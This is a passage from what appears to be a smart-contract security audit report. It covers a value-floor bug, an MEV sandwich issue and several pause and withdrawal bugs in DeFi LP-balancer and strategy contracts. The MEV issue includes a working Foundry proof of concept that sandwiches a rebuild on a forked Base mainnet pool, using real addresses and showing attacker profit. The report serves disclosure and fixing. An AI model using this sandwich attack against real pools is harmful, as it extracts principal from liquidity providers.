The `looseBefore` term is added to the floor without the haircut, so the part of the baseline it covers has no tolerance for price movement at all.

Impact

An honest rebuild can revert on ordinary market movement. While it is blocked, the principal sits on the balancer as loose token0 and token1, outside the pool and outside the gauge, so it earns no LP fees and no AERO while retaining full price exposure. `REBALANCER_ROLE` has no way to clear it and the only unconditional recovery is `exit()`, which is `DEFAULT_ADMIN_ROLE` and deactivates the position.

Code Snippet

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/LPAutoBalancerV2.sol#L633-L634>

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/blob/a75113a4d4b67222c9b943ebff3a7c5e165f7597/mamo-contracts/src/LPAutoBalancerV2.sol#L712-L714>

Tool Used

Manual Review

Recommendation

Store the baseline as token amounts rather than USD, and value it at rebuild time using the same feed reads that produce `valueAfter`. Both sides then share one price vector and the market move cancels out, leaving the floor measuring only the swap execution and the rebuild rounding.

```
struct SwapWindow {
    bool inFlight;
    bool wasStaked;
    address sellToken;
-   uint256 valueBeforePos; // USD 1e8, main+alt PRINCIPAL only
-   uint256 looseBefore;    // USD 1e8, pre-existing loose balance
+   uint256 amount0BeforePos; // token0 base units, main+alt principal
+   uint256 amount1BeforePos; // token1 base units, main+alt principal
+   uint256 loose0Before;    // token0 base units, pre-existing loose
+   uint256 loose1Before;    // token1 base units, pre-existing loose
    uint256 startedAt;
}
```

```
uint256 valueAfter = _totalValue(p, sqrtP, dec0, dec1);
- _enforceValueFloor(floorValueBeforePos, floorLooseBefore, valueAfter,
  ↳ swapLossAllowanceBps);
+uint256 valueBeforePos = _valueInUsd(a0Before, a1Before, p.oracle0, p.oracle1,
  ↳ dec0, dec1);
+uint256 looseBefore = _valueInUsd(l0Before, l1Before, p.oracle0, p.oracle1, dec0,
  ↳ dec1);
+ _enforceValueFloor(valueBeforePos, looseBefore, valueAfter, swapLossAllowanceBps);
```

Issue M-13: MEV searchers can extract principal from single-sided LP rebuilds [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/62>

Summary

`rebuildAfterSwap()` does not bind the expected ticks, so a MEV searcher can shift a single-sided LP range within the allowed TWAP deviation and extract principal while restoring the pool price.

Root cause

`LPAutoBalancerV2` calls `LPGeometryLib.calmGate()` before rebuilding. The function checks the distance between spot and TWAP but returns the live spot for range placement.

Source: `calmGate()` in `LPGeometryLib.sol`

```
function calmGate(address pool, uint32 twapWindow, int24 maxTickDeviation, address
→ token0, address token1)
    public
    view
    returns (uint160 sqrtP, int24 spotTick, uint8 dec0, uint8 dec1)
{
    (sqrtP, spotTick,,,) = ICLPool(pool).slot0();
    int24 twapTick = consultTwapTick(pool, twapWindow);
    int24 dev = spotTick > twapTick ? spotTick - twapTick : twapTick - spotTick;
    // audit-note: dev == maxTickDeviation is accepted
    if (dev > maxTickDeviation) revert TwapDeviation();
}
```

`rebuildAfterSwap()` uses that spot for range construction and the immediate value check. `RebuildParams` commits to a width and token amount minima, but not to `tickLower` or `tickUpper`. The value floor check runs before the MEV searcher's back-run.

Source: `rebuildAfterSwap()` in `LPAutoBalancerV2.sol`

```
(uint160 sqrtP, int24 spotTick, uint8 dec0, uint8 dec1) =
    LPGeometryLib.calmGate(p.pool, p.twapWindow, p.maxTickDeviation, p.token0,
→ p.token1);

// audit-bug: no caller-provided expected ticks are checked
(int24 tl, int24 tu) = _mainRange(p, spotTick, params.width, dec0, dec1);

uint256 newMain =
```

```

    _mintBalanced(p, spotTick, tl, tu, params.amount0MinMain,
        ↪ params.amount1MinMain, params.deadline);

uint256 valueAfter = _totalValue(p, sqrtP, dec0, dec1);
_enforceValueFloor(floorValueBeforePos, floorLooseBefore, valueAfter,
    ↪ swapLossAllowanceBps);

```

When *only* token0 is available, `_mainRange()` floor-aligns the spot and puts the new range immediately above it. Crossing one spacing boundary moves the entire range by one `tickSpacing`.

The important part here is, for a single-side LP rebuild, the token amount minima check does NOT prevent the range change. At both mint prices the amount that is taken is *always* the entire token0 balance, so the `params.amount0MinMain` check always passes.

Source: `_mainRange()` in `LPAutoBalancerV2.sol`

```

// audit-bug: this bucket is selected from the attacker-influenced spot
int24 floor = _floorAlign(spotTick, spacing);
if (value0 >= value1) {
    int24 up = floor + spacing;
    tickLower = up;
    tickUpper = up + w;
}

```

Attack Path

1. A swap-rebalance window contains only token0 after its order expires or remains unfilled. The trusted rebalancer follows the supported recovery path and submits `rebuildAfterSwap()`.
2. The fair spot and 30-minute TWAP are tick -201701. With `tickSpacing = 100` and `width = 200`, an honest token0-only rebuild would mint [-201700, -201500].
3. A searcher front-runs the rebuild by selling WETH into the public Slipstream pool. Spot moves to -201801 while TWAP remains -201701.
4. `calmGate()` accepts the state because the deviation is exactly the configured maximum of 100 ticks.
5. `_mainRange()` now returns [-201800, -201600]. The 50 bps WETH minimum still passes because the new range remains fully token0 at the manipulated spot.
6. The value floor passes before the back-run because the new NFT still represents roughly the same WETH at the captured spot. The contract restakes the NFT and returns.
7. The searcher buys WETH and restores the exact pre-attack sqrt price through the new victim liquidity. The victim position sells WETH along the return path and realizes the loss.

Impact

A searcher can extract managed principal when the rebuilt position is large enough relative to the pool's existing active liquidity. On the Base fork used by the PoC, a 1,250 WETH position loses 5,439.333156 USDC, while the searcher earns 649.236387 USDC after real Slipstream swap fees and before gas.

Smaller positions can still be grieved. With 100 WETH, the managed system loses 435.146652 USDC, although the searcher loses 2,354.173897 USDC. The loss is about 25 bps of position value in both cases and can recur on later eligible single-sided rebuilds.

PoC

Add this test file: `mamo-contracts/test/SpotAnchoredSingleSidedRebuild.poc.t.sol`

```
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.28;

import {LPAutoBalancerV2} from "@contracts/LPAutoBalancerV2.sol";
import {LPCompoundModule} from "@contracts/LPCompoundModule.sol";
import {Test, console2} from "@forge-std/Test.sol";
import {ICLPool} from "@interfaces/ICLPool.sol";
import {ICLPositionManager} from "@interfaces/ICLPositionManager.sol";
import {INonfungiblePositionManager} from
↳ "@interfaces/INonfungiblePositionManager.sol";
import {FullMath} from "@libraries/uniswap/FullMath.sol";
import {TickMath} from "@libraries/uniswap/TickMath.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface ICLPoolSwapPoc {
    function swap(
        address recipient,
        bool zeroForOne,
        int256 amountSpecified,
        uint160 sqrtPriceLimitX96,
        bytes calldata data
    ) external returns (int256 amount0, int256 amount1);
}

/// @dev Permissionless searcher used by the PoC. It interacts only through the
↳ real pool's
/// public swap interface and pays the real callback deltas from its own
↳ balances.
contract SlipstreamSearcher {
    address internal immutable pool;
    address internal immutable token0;
    address internal immutable token1;

    constructor(address pool_, address token0_, address token1_) {
```

```

        pool = pool_;
        token0 = token0_;
        token1 = token1_;
    }

    function swapToPrice(bool zeroForOne, uint160 sqrtPriceLimitX96, uint256
    ↪ maxAmountIn)
        external
        returns (int256 amount0, int256 amount1)
    {
        return ICLPoolSwapPoc(pool).swap(address(this), zeroForOne,
        ↪ int256(maxAmountIn), sqrtPriceLimitX96, bytes(""));
    }

    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes
    ↪ calldata) external {
        require(msg.sender == pool, "callback caller");
        if (amount0Delta > 0) IERC20(token0).transfer(pool, uint256(amount0Delta));
        if (amount1Delta > 0) IERC20(token1).transfer(pool, uint256(amount1Delta));
    }
}

/// @notice Economic PoC for spot-anchored single-sided rebuild sandwiching.
///
/// Real Base contracts at block 47,600,000:
///   WETH/USDC Slipstream spacing-100 pool:
///   ↪ 0xb2cc224c1c9feE385f8ad6a55b4d94E92359DC59
///   Slipstream NFPM:
///   ↪ 0x827922686190790b37229fd06084350E74485b72
///
/// The searcher first establishes a stable fair tick whose remainder is 99, then
/// ↪ lets the pool's
/// oracle observe it for the full TWAP window. The victim opens a swap-rebalance
/// ↪ window holding only
/// WETH. In the attack transaction ordering, the searcher:
/// 1. pushes spot down exactly 100 ticks (still accepted by the calm gate),
/// 2. lets rebuildAfterSwap mint the victim one spacing bucket lower, and
/// 3. restores the exact fair sqrt price through the newly minted victim
/// ↪ liquidity.
contract SpotAnchoredSingleSidedRebuildPoc is Test {
    address internal constant POOL = 0xb2cc224c1c9feE385f8ad6a55b4d94E92359DC59;
    address internal constant GAUGE = 0xF33a96b5932D9E9B9A0eDA447AbD8C9d48d2e0c8;
    address internal constant NFPM = 0x827922686190790b37229fd06084350E74485b72;
    address internal constant WETH = 0x4200000000000000000000000000000000000000;
    address internal constant USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
    address internal constant AERO = 0x940181a94A35A4569E4529A3CDfB74e38FD98631;
    address internal constant ETH_USD = 0x71041dddad3595F9CEd3DcCFBe3D1F4b0a16Bb70;
    address internal constant USDC_USD = 0x7e860098F58bBFC8648a4311b374B1D669a2bc6B;

    uint256 internal constant PINNED_BLOCK = 47_600_000;

```

```

int24 internal constant TICK_SPACING = 100;
uint24 internal constant WIDTH = 200;
uint32 internal constant TWAP_WINDOW = 1_800;
uint160 internal constant Q96 = 1 << 96;

address internal admin = makeAddr("admin");
address internal manager = makeAddr("manager");
address internal rebalancer = makeAddr("rebalancer");
address internal guardian = makeAddr("guardian");
address internal feeCollector = makeAddr("feeCollector");
address internal victimRecipient = makeAddr("victimRecipient");

LPAutoBalancerV2 internal balancer;
SlipstreamSearcher internal searcher;

struct AttackResult {
    uint256 victimPrincipalWeth;
    uint256 victimLossUsdc;
    int256 searcherPnlUsdc;
    uint256 frontRunWethIn;
    uint256 frontRunUsdcOut;
    uint256 backRunWethOut;
    uint256 backRunUsdcIn;
    int24 fairTick;
    int24 manipulatedTick;
    int24 mintedTickLower;
    int24 mintedTickUpper;
}

struct AttackContext {
    uint160 fairSqrtPrice;
    int24 fairTick;
    int24 honestLower;
    uint256 victimWethLoose;
    uint256 victimUsdcLoose;
    uint256 victimValueBefore;
    uint256 feeCollectorWethBefore;
    uint256 feeCollectorUsdcBefore;
    uint256 searcherWethBefore;
    uint256 searcherUsdcBefore;
    uint256 searcherValueBefore;
}

function setUp() public {
    vm.createSelectFork(vm.envString("BASE_RPC_URL"), PINNED_BLOCK);
    vm.txGasPrice(0);
    vm.fee(0);

    balancer = new LPAutoBalancerV2(admin, manager, rebalancer, guardian, NFPM,
    ↪ AERO);

```

```

searcher = new SlipstreamSearcher(POOL, WETH, USDC);

assertEq(ICLPool(POOL).token0(), WETH, "token0");
assertEq(ICLPool(POOL).token1(), USDC, "token1");
assertEq(ICLPool(POOL).tickSpacing(), TICK_SPACING, "tick spacing");

// Ample but finite searcher inventory. PnL snapshots are taken after
→ fair-price setup, so
// none of this artificial prefunding is counted as profit.
deal(WETH, address(searcher), 20_000 ether);
deal(USDC, address(searcher), 100_000_000e6);
}

/// @dev 100 WETH is economically material, but is smaller than the pool's
→ existing active
/// liquidity. The searcher is allowed to lose; this test proves a
→ permissionless griever can
/// still impose a non-dust loss on the managed system after all earned LP
→ fees are credited.
function test_poc_100Weth_victimLosesNonDustValue() public {
    AttackResult memory r = _runAttack(100 ether);
    _logResult(r);

    assertGt(r.victimLossUsdc, 300e6, "victim loses more than 300 USDC
→ including fee credits");
    assertLt(r.searcherPnlUsdc, 0, "100 WETH is below the searcher break-even
→ size on this fork");
}

/// @dev Once victim liquidity is large enough relative to the pool's
→ pre-existing active
/// liquidity, the value sold by the victim on the back-run exceeds both
→ real swap fees.
function test_poc_1250Weth_searcherProfitsAfterRealPoolFees() public {
    AttackResult memory r = _runAttack(1_250 ether);
    _logResult(r);

    assertGt(r.victimLossUsdc, 5_400e6, "victim loses more than 5,400 USDC");
    assertGt(r.searcherPnlUsdc, 600e6, "searcher clears more than 600 USDC
→ after pool fees");
    assertGt(r.frontRunWethIn, 700 ether, "attack uses non-dust permissionless
→ pool trades");
}

function _runAttack(uint256 victimWeth) internal returns (AttackResult memory
→ r) {
    AttackContext memory c = _prepareAttack(victimWeth);
    r.fairTick = c.fairTick;
    r.victimPrincipalWeth = c.victimWethLoose;
}

```

```

// FRONT-RUN: sell WETH and cross exactly one spacing bucket.
↳ maxTickDeviation is inclusive,
// so |spot - TWAP| == 100 is accepted.
int24 manipulatedTick = c.fairTick - TICK_SPACING;
(int256 front0, int256 front1) = _moveSpotToTick(manipulatedTick);
r.frontRunWethIn = uint256(front0);
r.frontRunUsdcOut = uint256(-front1);
(, r.manipulatedTick,,,) = ICLPool(PPOOL).slot0();
assertEq(r.manipulatedTick, manipulatedTick, "front-run target tick");
assertEq(_consultTwapTick(TWAP_WINDOW), c.fairTick, "front-run has zero
↳ TWAP weight");

// VICTIM REBUILD: a realistic 50-bps funded-token minimum still passes
↳ because both the
// honest and manipulated ranges consume essentially all loose WETH. There
↳ is no range
// commitment in RebuildParams.
(r.mintedTickLower, r.mintedTickUpper) = _rebuild(c.victimWethLoose);
assertEq(r.mintedTickLower, c.honestLower - TICK_SPACING, "range shifted
↳ down one bucket");
assertEq(r.mintedTickUpper, c.honestLower - TICK_SPACING +
↳ int24(uint24(WIDTH)), "shifted upper");

// BACK-RUN: buy WETH and restore the exact pre-attack sqrt price through
↳ the victim's fresh
// liquidity. The final portfolio comparison therefore has no
↳ mark-to-market ambiguity.
(int256 back0, int256 back1) = _moveSpotToSqrt(false, c.fairSqrtPrice,
↳ type(uint128).max);
r.backRunWethOut = uint256(-back0);
r.backRunUsdcIn = uint256(back1);
(uint160 finalSqrtPrice, int24 finalTick,,,) = ICLPool(PPOOL).slot0();
assertEq(finalSqrtPrice, c.fairSqrtPrice, "exact fair sqrt price restored");
assertEq(finalTick, c.fairTick, "fair tick restored");

uint256 searcherWethAfter = IERC20(WETH).balanceOf(address(searcher));
uint256 searcherUsdcAfter = IERC20(USDC).balanceOf(address(searcher));
uint256 searcherValueAfter = _portfolioValueUsdc(searcherWethAfter,
↳ searcherUsdcAfter, c.fairSqrtPrice);
r.searcherPnlUsdc = int256(searcherValueAfter) -
↳ int256(c.searcherValueBefore);
r.victimLossUsdc = _exitAndMeasureVictim(c);
}

function _prepareAttack(uint256 victimWeth) internal returns (AttackContext
↳ memory c) {
// Pick the nearest upward tick ending in 99. Crossing down by exactly one
↳ spacing then flips
// floorAlign(spot, 100) to the previous bucket while dev ==
↳ maxTickDeviation remains allowed.

```

```

(, int24 currentTick,,,) = ICLPool(POOL).slot0();
int24 currentFloor = _floorAlign(currentTick);
int24 fairTick = currentFloor + 99;
if (fairTick < currentTick) fairTick += TICK_SPACING;
_moveSpotToTick(fairTick);

// Make the full production 30-minute observation window equal to fairTick.
↪ The front-run later happens
// with no elapsed time, so it changes spot but not the already-established
↪ TWAP.
skip(TWAP_WINDOW + 1);
vm.roll(block.number + 1);
assertEq(_consultTwapTick(TWAP_WINDOW), fairTick, "stable fair TWAP");

int24 honestLower = _floorAlign(fairTick) + TICK_SPACING;
(uint256 initialNft, uint256 amount0Deposited) =
    _mintSingleSidedWeth(honestLower, honestLower + int24(uint24(WIDTH)),
        ↪ victimWeth);
assertGe(amount0Deposited, victimWeth * 9_999 / 10_000, "approximately
    ↪ requested WETH deposited");
_registerAndOpenWindow(initialNft, amount0Deposited);

(c.fairSqrtPrice, c.fairTick,,,) = ICLPool(POOL).slot0();
assertEq(c.fairTick, fairTick, "fair spot unchanged before attack");
c.honestLower = honestLower;
c.victimWethLoose = IERC20(WETH).balanceOf(address(balancer));
c.victimUsdcLoose = IERC20(USDC).balanceOf(address(balancer));
c.victimValueBefore = _portfolioValueUsdc(c.victimWethLoose,
    ↪ c.victimUsdcLoose, c.fairSqrtPrice);
c.feeCollectorWethBefore = IERC20(WETH).balanceOf(feeCollector);
c.feeCollectorUsdcBefore = IERC20(USDC).balanceOf(feeCollector);
c.searcherWethBefore = IERC20(WETH).balanceOf(address(searcher));
c.searcherUsdcBefore = IERC20(USDC).balanceOf(address(searcher));
c.searcherValueBefore = _portfolioValueUsdc(c.searcherWethBefore,
    ↪ c.searcherUsdcBefore, c.fairSqrtPrice);
}

function _rebuild(uint256 victimWethLoose) internal returns (int24 mintedLower,
    ↪ int24 mintedUpper) {
    vm.prank(rebalancer);
    balancer.rebuildAfterSwap(
        LPAutoBalancerV2.RebuildParams({
            width: WIDTH,
            amount0MinMain: victimWethLoose * 9_950 / 10_000,
            amount1MinMain: 0,
            amount0MinAlt: 0,
            amount1MinAlt: 0,
            deadline: block.timestamp + 1
        })
    );
};

```

```

        (uint256 rebuiltNft,,,,,,,,,,,,,,,,,,,,,) = balancer.position();
        assertEq(INonfungiblePositionManager(NFPM).ownerOf(rebuiltNft), GAUGE,
        ↪ "rebuilt main restaked");
        (,,,,, mintedLower, mintedUpper,,,,,) =
        ↪ INonfungiblePositionManager(NFPM).positions(rebuiltNft);
    }

function _exitAndMeasureVictim(AttackContext memory c) internal returns
    ↪ (uint256 victimLossUsdc) {
    // Realize both principal and LP fees. exit() skims fees to feeCollector
    ↪ and sends principal
    // to victimRecipient, so summing those two destinations measures the whole
    ↪ managed system,
    // not merely the principal component while ignoring fee credits.
    vm.prank(admin);
    balancer.exit(victimRecipient);

    uint256 victimValueAfter = _portfolioValueUsdc(
        IERC20(WETH).balanceOf(victimRecipient) +
        ↪ IERC20(WETH).balanceOf(feeCollector) - c.feeCollectorWethBefore,
        IERC20(USDC).balanceOf(victimRecipient) +
        ↪ IERC20(USDC).balanceOf(feeCollector) - c.feeCollectorUsdcBefore,
        c.fairSqrtPrice
    );
    assertLt(victimValueAfter, c.victimValueBefore, "managed system loses value
    ↪ including earned LP fees");
    victimLossUsdc = c.victimValueBefore - victimValueAfter;
}

function _registerAndOpenWindow(uint256 tokenId, uint256 amount0Deposited)
    ↪ internal {
    INonfungiblePositionManager(NFPM).safeTransferFrom(address(this),
    ↪ address(balancer), tokenId);

    LPAutoBalancerV2.ManagedPositionV2 memory config =
    ↪ LPAutoBalancerV2.ManagedPositionV2({
        mainTokenId: tokenId,
        altTokenId: 0,
        pool: POOL,
        token0: WETH,
        token1: USDC,
        tickSpacing: TICK_SPACING,
        gauge: GAUGE,
        mainStaked: false,
        altStaked: false,
        feeCollector: feeCollector,
        oracle0: ETH_USD,
        oracle1: USDC_USD,
        minWidth: WIDTH,

```

```

        maxWidth: 20_000,
        maxCenterDeviation: 200,
        twapWindow: TWAP_WINDOW,
        maxTickDeviation: TICK_SPACING,
        maxRebalanceLossBps: 100,
        minRebalanceInterval: 0,
        lastRebalance: 0,
        active: false
    });
    vm.prank(admin);
    balancer.registerPosition(config);

    LPCompoundModule module = new LPCompoundModule(address(balancer), AERO,
        ↪ admin);
    vm.prank(admin);
    balancer.setCompoundModule(address(module));

    // Mirror the production lifecycle: unwindForSwap withdraws this staked
    ↪ NFT, and the stored
    // wasStaked flag makes rebuildAfterSwap stake the replacement before the
    ↪ back-run.
    vm.prank(rebalancer);
    balancer.stake();

    vm.prank(rebalancer);
    balancer.unwindForSwap(
        LPAutoBalancerV2.UnwindParams({
            sellToken: WETH,
            sellAmount: amount0Deposited / 2,
            amount0MinWithdraw: amount0Deposited * 9_950 / 10_000,
            amount1MinWithdraw: 0,
            amount0MinWithdrawAlt: 0,
            amount1MinWithdrawAlt: 0,
            deadline: block.timestamp + 1
        })
    );
    assertTrue(balancer.rebalanceInFlight(), "window open");
}

function _mintSingleSidedWeth(int24 tickLower, int24 tickUpper, uint256
    ↪ wethDesired)
    internal
    returns (uint256 tokenId, uint256 amount0)
{
    deal(WETH, address(this), wethDesired);
    IERC20(WETH).approve(NFPM, wethDesired);
    ICLPositionManager.MintParams memory mp = ICLPositionManager.MintParams({
        token0: WETH,
        token1: USDC,
        tickSpacing: TICK_SPACING,

```

```

        tickLower: tickLower,
        tickUpper: tickUpper,
        amount0Desired: wethDesired,
        amount1Desired: 0,
        amount0Min: 0,
        amount1Min: 0,
        recipient: address(this),
        deadline: block.timestamp + 1,
        sqrtPriceX96: 0
    });
    (tokenId,, amount0,) = ICLPositionManager(NFPM).mint(mp);
}

function _moveSpotToTick(int24 targetTick) internal returns (int256 amount0,
↪ int256 amount1) {
    // A sqrt price strictly inside [targetTick, targetTick + 1) makes
    ↪ slot0.tick == targetTick.
    uint160 targetSqrtPrice = TickMath.getSqrtRatioAtTick(targetTick + 1) - 1;
    (, int24 currentTick,,,) = ICLPool(P00L).slot0();
    bool zeroForOne = currentTick > targetTick;
    return _moveSpotToSqrt(zeroForOne, targetSqrtPrice, type(uint128).max);
}

function _moveSpotToSqrt(bool zeroForOne, uint160 targetSqrtPrice, uint256
↪ maxAmountIn)
    internal
    returns (int256 amount0, int256 amount1)
{
    return searcher.swapToPrice(zeroForOne, targetSqrtPrice, maxAmountIn);
}

function _floorAlign(int24 tick) internal pure returns (int24) {
    int24 q = tick / TICK_SPACING;
    if (tick < 0 && tick % TICK_SPACING != 0) q -= 1;
    return q * TICK_SPACING;
}

function _consultTwapTick(uint32 window) internal view returns (int24) {
    uint32[] memory secondsAgos = new uint32[](2);
    secondsAgos[0] = window;
    secondsAgos[1] = 0;
    (int56[] memory cumulativeTicks,) = ICLPool(P00L).observe(secondsAgos);
    int56 delta = cumulativeTicks[1] - cumulativeTicks[0];
    int24 tick = int24(delta / int56(uint56(window)));
    if (delta < 0 && delta % int56(uint56(window)) != 0) tick--;
    return tick;
}

/// @dev Value a WETH/USDC portfolio at a common pool sqrt price, returned in
↪ raw USDC (1e6).

```

```

function _portfolioValueUsdc(uint256 wethAmount, uint256 usdcAmount, uint160
↳ sqrtPriceX96)
    internal
    pure
    returns (uint256)
{
    uint256 once = FullMath.mulDiv(wethAmount, sqrtPriceX96, Q96);
    uint256 wethAsUsdc = FullMath.mulDiv(once, sqrtPriceX96, Q96);
    return wethAsUsdc + usdcAmount;
}

function _logResult(AttackResult memory r) internal pure {
    console2.log("victim principal WETH (wei)", r.victimPrincipalWeth);
    console2.log("victim loss USDC (1e6)", r.victimLossUsdc);
    console2.log("searcher PnL USDC (1e6)");
    console2.logInt(r.searcherPnlUsdc);
    console2.log("front-run WETH in (wei)", r.frontRunWethIn);
    console2.log("front-run USDC out (1e6)", r.frontRunUsdcOut);
    console2.log("back-run WETH out (wei)", r.backRunWethOut);
    console2.log("back-run USDC in (1e6)", r.backRunUsdcIn);
    console2.log("fair tick");
    console2.logInt(r.fairTick);
    console2.log("manipulated tick");
    console2.logInt(r.manipulatedTick);
    console2.log("minted tick lower");
    console2.logInt(r.mintedTickLower);
    console2.log("minted tick upper");
    console2.logInt(r.mintedTickUpper);
}
}

```

Commands

Run from the contest repository root:

```

BASE_RPC_URL=https://mainnet.base.org forge test \
--root mammo-contracts \
--match-contract SpotAnchoredSingleSidedRebuildPoc \
-vv

```

Expected result

```

[PASS] test_poc_100Weth_victimLosesNonDustValue()
victim loss USDC (1e6) 435146652
searcher PnL USDC (1e6) -2354173897

```

```
[PASS] test_poc_1250Weth_searcherProfitsAfterRealPoolFees()  
victim loss USDC (1e6) 5439333156  
searcher PnL USDC (1e6) 649236387
```

The test runs against Base block 47,600,000. It uses the real WETH/USDC spacing-100 pool, position manager, gauge, staking lifecycle, 30-minute TWAP, and pool swap fees. It restores the exact starting sqrt price before calculating PnL. The historical Base fork sets the transaction gas price to zero, so the reported PnL excludes gas.

Mitigation

Add `expectedTickLower` and `expectedTickUpper` to the rebalance parameters and revert unless the computed range matches. The backend can calculate both values before submitting the transaction. Any range change would then revert.

Issue L-1: Emergency pause fails to stop reward processing [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/35>

Summary

MamoStakingRegistry.pause() does not stop compound() or reinvest(), so backend automation can keep processing user rewards during an emergency.

Root cause

MamoStakingRegistry stores the pause state and applies whenNotPaused to its configuration functions. The documented design says this pause affects all operations, but MamoStakingStrategy.onlyBackend() checks only the caller's role.

Source: onlyBackend() in MamoStakingStrategy.sol

```
modifier onlyBackend() {  
    // audit-bug: the registry's pause state is never checked  
    require(stakingRegistry.hasRole(stakingRegistry.BACKEND_ROLE(), msg.sender),  
        ↪ "Not backend");  
    _;  
}
```

Both compound() and reinvest() rely on this modifier without another pause check.

Attack Path

1. The guardian pauses MamoStakingRegistry after detecting a problem in reward processing.
2. The backend calls compound() or reinvest() on a user's strategy while the registry is paused.
3. The role check succeeds, and the strategy still claims, swaps, stakes, or deposits the user's accumulated rewards.

Impact

The guardian cannot stop reward processing during an incident. If the pause responds to a faulty router, price checker, reward configuration, or destination strategy, backend calls can continue moving all rewards held by each strategy through the affected path.

Mitigation

Make `onlyBackend()` also revert while `stakingRegistry.paused()` is true. This stops `compound()` and `reinvest()` without blocking owner withdrawals.

Issue L-2: Deposits can be routed to the wrong active market [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/36>

Summary

During a non-atomic market deactivation, `depositInternal()` assigns the deactivated market's share to the last active market until the backend updates that strategy's splits.

Root cause

Market activity is shared through `MarketRegistry`, while each strategy stores its splits locally. The documented deactivation procedure calls `deactivateMarket()` first and then `updatePosition()` on each affected strategy. Until the second call succeeds for a strategy, its active splits no longer total 10,000.

`depositInternal()` does not check that total. It skips inactive markets, then gives every unallocated token to the last active market. A branch intended for rounding dust therefore absorbs the full split of any newly inactive market.

Source: `depositInternal()` in `MamoMultiMarketStrategy.sol`

```
for (uint256 i = 0; i < regMarkets.length; i++) {
    if (!regMarkets[i].active) continue;

    uint256 split = marketSplitBps[regMarkets[i].target];
    if (split == 0) continue;

    uint256 marketAmount;
    if (i == lastActiveIdx) {
        // audit-bug: missing active allocation is assigned to this market
        marketAmount = amount - deposited;
    } else {
        marketAmount = (amount * split) / SPLIT_TOTAL;
    }

    _depositToMarket(regMarkets[i], marketAmount);
    deposited += marketAmount;
}
```

Attack Path

1. A strategy has splits of 40%, 30%, and 30% across markets A, B, and C.

2. The backend deactivates B. The strategy remains on its old splits until its separate `updatePosition()` call succeeds.
3. Before that update, anyone calls `permissionless deposit()` or `depositIdleTokens()` for 1,000 tokens.
4. A receives 400 tokens. C, as the last active market, receives the remaining 600 tokens even though its stored split is 30%.
5. A later successful `updatePosition()` rebalances the position, but the strategy is overexposed to C until then.

Impact

New deposits can exceed the last active market's configured allocation by the total split of recently deactivated markets. This can temporarily concentrate funds or make deposits revert if that market cannot accept the excess.

The documented follow-up `updatePosition()` restores the allocation, so there is no lasting misallocation after it succeeds. The issue requires a window between deactivation and the affected strategy's update, or a delayed or failed update. It does not arise if the backend performs both operations atomically.

Mitigation

Before depositing, require the active splits to total `SPLIT_TOTAL`. The last-market branch should absorb only rounding dust after that check. The backend can also batch deactivation and all affected strategy updates atomically where gas limits allow.

Issue L-3: Withdrawals can fail despite sufficient strategy assets [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/37>

Summary

`_withdrawProRata()` uses configured market splits instead of current withdrawal capacity, so `withdraw()` can revert even when the strategy holds enough assets across its markets.

Root cause

`withdraw()` checks the requested amount against the aggregate balance, including inactive markets, then calls `_withdrawProRata()` for the non-idle portion. The loop skips inactive markets and derives each exact withdrawal from its configured split. It does not cap the request at what the market can provide or carry a shortfall to the next market. The withdrawal path also lacks `depositInternal()`'s last-active remainder handling.

Source: `_withdrawProRata()` in `MamoMultiMarketStrategy.sol`

```
for (uint256 i = 0; i < regMarkets.length; i++) {
    if (!regMarkets[i].active) continue;

    uint256 split = marketSplitBps[regMarkets[i].target];
    if (split == 0) continue;

    // audit-bug: the configured split is treated as current withdrawal capacity
    uint256 withdrawAmount = (amountNeeded * split) / SPLIT_TOTAL;
    if (withdrawAmount == 0) continue;

    if (regMarkets[i].marketType == MarketType.MTOKEN) {
        require(IMToken(regMarkets[i].target).redeemUnderlying(withdrawAmount) ==
            ↪ 0, "Failed to redeem mToken");
    } else {
        IERC4626(regMarkets[i].target).withdraw(withdrawAmount, address(this),
            ↪ address(this));
    }
}
```

Configured splits describe a target allocation. Different yields or donations change the actual balance ratio. If a registered ERC4626 charges an exit fee, its exact-asset `withdraw()` may require more shares than the strategy owns for its assigned amount and revert above `maxWithdraw(address(this))`.

After the backend deactivates a market and before it calls `updatePosition()`, the

inactive market retains a nonzero split. The loop skips that market, so the active withdrawals sum to less than `amountNeeded`. The final balance check in `withdraw()` then reverts unless idle or excess market assets cover the gap.

Attack Path

1. A strategy deposits 700 tokens in one market and 300 in another under a 70/30 split.
2. The second market earns 10 tokens while the first remains at 700, so the strategy can withdraw 1,010 tokens in total.
3. The owner calls `withdraw(1010)`. The loop requests 707 tokens from the first market even though it can provide only 700, and the call reverts instead of taking the shortfall from the second market.
4. During the deactivation window, the loop instead skips the inactive market, withdraws too little, and fails the final balance check.

Impact

The owner may be unable to withdraw a requested amount despite sufficient assets elsewhere in the strategy. Deactivation causes this until positions are updated. Balance drift or vault fees affect withdrawals large enough to exceed one market's capacity. The impact is loss of `withdraw()` availability; `withdrawAll()` can still recover the funds.

Mitigation

Track the amount still needed and withdraw from each market up to its current capacity, including inactive positions that still hold funds. For ERC4626 markets, cap each request by `maxWithdraw(address(this))`. Carry rounding and other shortfalls to later markets, and require the remaining amount to be zero after the loop.

Issue L-4: Exit fees can make partial withdrawals revert [RESOLVED]

Source:

<https://github.com/sherlock-audit/2026-07-moonwell-july-22nd-2026/issues/38>

Summary

`_getTotalBalance()` ignores ERC4626 exit fees, so `withdraw()` can accept an amount that the strategy's vault shares cannot provide.

Root cause

`MamoMultiMarketStrategy` holds ERC4626 shares on behalf of its owner. It uses `_getTotalBalance()` to check whether a requested withdrawal is available, but values those shares with `convertToAssets()`.

ERC-4626 requires `convertToAssets()` to exclude fees and `previewRedeem()` to include withdrawal fees. The current calculation therefore returns the gross value of shares instead of the assets obtainable by redeeming them.

